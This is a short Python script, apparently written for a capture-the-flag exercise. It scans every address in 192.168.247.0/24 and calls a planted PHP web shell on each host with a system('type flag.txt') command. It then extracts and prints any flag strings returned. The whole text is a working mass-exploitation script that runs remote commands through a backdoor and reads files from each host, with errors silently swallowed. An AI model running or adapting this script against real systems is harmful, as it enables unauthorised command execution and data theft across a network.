text: import urllib.request
  import urllib.parse
  import re
  for i in range(1, 255):
      try:
          url = 'http://192.168.247.{}'
          shell_url = url+'/shell.php?admin=system(%27type%20flag.txt%27);'
          get = urllib.request.urlopen(shell_url.format(str(i)))
          request = get.read()
          flag = request.decode('utf-8')
          print(url.format(str(i)),re.findall("flag{.*?}", flag))
      except:
          pass
  